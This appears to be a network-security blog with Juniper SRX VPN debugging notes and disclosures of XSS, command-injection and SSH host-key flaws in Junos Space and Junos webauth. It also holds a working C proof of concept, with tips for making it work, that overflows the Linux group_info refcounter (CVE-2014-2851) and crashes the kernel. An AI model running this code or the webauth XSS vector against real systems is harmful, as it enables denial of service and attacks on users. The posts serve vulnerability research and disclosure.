Thursday, April 28, 2016

Stacktrack - Linux system call tracking

I've built a tool to visualize linux call graphs and execution traces. It is available on github: .

Friday, June 19, 2015

Juniper SRX Vpn Debugging with "gateway-filter"

After a support session with jtac, I learned there's a hidden srx configuration to debug single vpns:

admin@srx# show security ike traceoptions
file vpn-trace size 10m;
gateway-filter {
    local-address x.x.x.x;
    remote-address y.y.y.y;

level 15;

This is equivalent to the operational command

request security ike debug-enable local x.x.x.x remote y.y.y.y

The jtac engineer used this command to debug an ipsec issue where SA's existed in the management plane but not in the data plane. Following command was used to list the dataplane SA's:

run request pfe execute command "show usp ipsec sa" target fwdd 

A security flow trace of the faulting session reported an unrelated error about missing traffic selectors:

Jun 17 18:47:04 18:47:04.409145:CID-1:RT:flow_ipv4_rt_lkup success, iifl 0x50, oifl 0xb8

Jun 17 18:47:04 18:47:04.409168:CID-1:RT:  routed (x_dst_ip from srxhq (reth0.1001 in 1) to st0.108, Next-hop:

Jun 17 18:47:04 18:47:04.409185:CID-1:RT:flow_first_policy_search: policy search from zone srxhq-> zone OMP-VPN (0x0,0x2ee0001,0x1)

Jun 17 18:47:04 18:47:04.409205:CID-1:RT:Policy lkup: vsys 0 zone(8:srxhq) -> zone(13:OMP-VPN) scope:0

Jun 17 18:47:04 18:47:04.409205:CID-1:RT:    -> proto 1

Jun 17 18:47:04 18:47:04.409212:CID-1:RT:  app 0, timeout 60s, curr ageout 60s

Jun 17 18:47:04 18:47:04.409212:CID-1:RT:  permitted by policy allow_any(6)

Jun 17 18:47:04 18:47:04.409294:CID-1:RT:  packet passed, Permitted by policy.

Jun 17 18:47:04 18:47:04.409294:CID-1:RT:flow_first_src_xlate:  nat_src_xlated: False, nat_src_xlate_failed: False

Jun 17 18:47:04 18:47:04.409294:CID-1:RT:flow_first_src_xlate:  incoming src port is : 750.

Jun 17 18:47:04 18:47:04.409294:CID-1:RT:flow_first_src_xlate: src nat returns status: 0, rule/pool id: 0/0, pst_nat: False.

Jun 17 18:47:04 18:47:04.409294:CID-1:RT:  dip id = 0/0,> protocol 0

Jun 17 18:47:04 18:47:04.409294:CID-1:RT:(flow_first_get_tun_info) Valid IP, using IP from session

Jun 17 18:47:04 18:47:04.409394:CID-1:RT:  Doing IPSec traffic-selector match for ->

Jun 17 18:47:04 18:47:04.409394:CID-1:RT: Did not find traffic-selector enabled nsp_tunnel for  st0-ifp st0.108. Finding non-traffic-selector nsp_tunnel

Jun 17 18:47:04 18:47:04.409394:CID-1:RT: get_nsp_tunnel - Tunnel not found. if st0.108, nexthop ip 0xbadc0ded, policy id 6

Jun 17 18:47:04 18:47:04.409394:CID-1:RT:  packet dropped, outgoing tunnel missing in tunnel-if

Jun 17 18:47:04 18:47:04.409394:CID-1:RT: outgoing tunnel missing in tunnel-if st0.108

Jun 17 18:47:04 18:47:04.409394:CID-1:RT:flow_first_get_out_ifp: get tunnel_info failed!

Jun 17 18:47:04 18:47:04.409394:CID-1:RT:flow_initiate_first_path: first pak no session

Jun 17 18:47:04 18:47:04.409394:CID-1:RT:  flow find session returns error.

Jun 17 18:47:04 18:47:04.409394:CID-1:RT: ----- flow_process_pkt rc 0x7 (fp rc -1)

It seems this issue cannot be resolved without impact (commit full, reboot, delete ike/ipsec).

Update: according to the support case this issue should be fixed in the next srx firmware release: 12.1X46-D40 

Tuesday, April 28, 2015

Junos Space Network Management Platform Vulnerabilities

Last year I spent some time looking for bugs in the Juniper Junos Space Network Management Platform . I discovered following security issues:
  • XSS in the event viewer by sending specially crafted syslog traffic log messages
  • XSS contained in ssl certificates
  • XSS in the integrated opennms network monitoring tool by sending specially crafted snmp traps (varbinding oid values are not properly escaped)
  • XSS in opennms by spoofing snmp get responses, for example a hostname containing html
  • Inject commands using the backup functionality
  • Junos Space manages its devices (routers, switches, firewalls) using ssh. However it does not verify ssh host keys, allowing mitm exploits.
The opnennms issues were reported to opennms also:

I reported these issues September last year to Juniper sirt. Only one of them (ssl cert xss) is fixed in the current release (14.1R2).
There are many more security issues which need to be addressed, however Juniper decided to spend its budget on different things .

Sunday, May 4, 2014

Notes on CVE-2014-2851 - Linux group_info use-after-free

I spent some more time looking at the ping_init_sock group_info usage refcounter overflow I wrote about in a previous post. I uploaded code I used for this research to github .

The code makes it possible to check whether the usage refcounter became zero and the group_info struct is freed. I've written a more elaborate explanation in the README.

I hope to find more time to investigate this issue and update the code in the coming days.

Thursday, April 17, 2014

Linux group_info refcounter overflow memory corruption (CVE-2014-2851)

This post on LKML got me curious and I decided to trigger the overflow to see what it got me.

  1. #include <arpa/inet.h>
  2. #include <stdio.h>
  3. #include <sys/socket.h>
  4. int main(int argc, char *argv[]) {
  5.     int i ;
  6.     struct sockaddr_in saddr;
  7.     unsigned count = -8 ;
  8.     if(argc >= 2){
  9.         // Specify count
  10.         count = atoi(argv[1]);
  11.     }
  12.     printf("count %i\n",count);
  13.     for(= 0 ; i < count;i++ ){
  14.         socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP);
  15.         if ( i % ( 1 << 22 ) == 0 )
  16.             printf("%i \n",i);
  17.     }
  18.     //Now make it wrap and crash:
  19.     system("/bin/echo bye bye");
  20. }

If the code doens't work, try different values for count ( argv[1] ), for example -20 . When the exploit finishes, run some nested shells to increment the group_info usage counter : every subprocess will increment the usage counter .

It takes a while because 2^32 syscalls have to be executed, but eventually the refcounter overflows.
When the refcounter is close to be overflown, the code executes another process. When this process finishes, atomic_dec_and_test returns true and the creds are freed while still referenced. This results in corruption of the cred_jar slab cache which leads to a system crash.

The actual overflows happens in cred.h :


The disassembly of  ping_init_sock shows the overflow:
Dump of assembler code for function ping_init_sock:
   0xffffffff8164b960 <+0>:     push   %rbp
   0xffffffff8164b961 <+1>:     mov    %rsp,%rbp
   0xffffffff8164b964 <+4>:     push   %r12
   0xffffffff8164b966 <+6>:     push   %rbx
   0xffffffff8164b967 <+7>:     data32 data32 data32 xchg %ax,%ax
   0xffffffff8164b96c <+12>:    mov    %gs:0xb880,%rax
   0xffffffff8164b975 <+21>:    mov    0x480(%rax),%rax
   0xffffffff8164b97c <+28>:    mov    0x30(%rdi),%rdx
   0xffffffff8164b980 <+32>:    mov    0x18(%rax),%edi
   0xffffffff8164b983 <+35>:    mov    0x88(%rax),%rax
=> 0xffffffff8164b98a <+42>:    incl   %ds:(%rax)
   0xffffffff8164b98d <+45>:    mov    0x4(%rax),%r10d
   0xffffffff8164b991 <+49>:    lea    0x390(%rdx),%r9

Monday, March 17, 2014

JNCIA JN0-102 Study Guide Summary

I recently passed the Juniper JNCIA JN0-102 exam. JNCIA is Juniper's entry-level certification which I found more difficult than the CISSP exam.
I made some kind of summary that can be found at the following location:

JNCIA Study Guide Summary

The summary won't be enough to pass, you'll certainly need hands-on junos experience.

Monday, February 10, 2014

Junos Webauth Reflected XSS

I discovered a reflected xss in junos srx webauth

/webauth/webauth_login.php?target=&auth_id=&ap_name=">[HTML] , for example


this issue seems to be reported previously but it's not yet fixed. The reply from juniper when informing them about this issue:


Hi Thomas,

Thank you for contacting the Juniper SIRT.

This cross site scripting vulnerability is an issue that we are aware of. We are been working on a fix and are preparing to announce this issue in a future Junos security bundle, once all of the supported releases have been fixed. 

Thank you for bringing this to our attention though, as we do appreciate being notified when security issues are found in our products. 

Juniper SIRT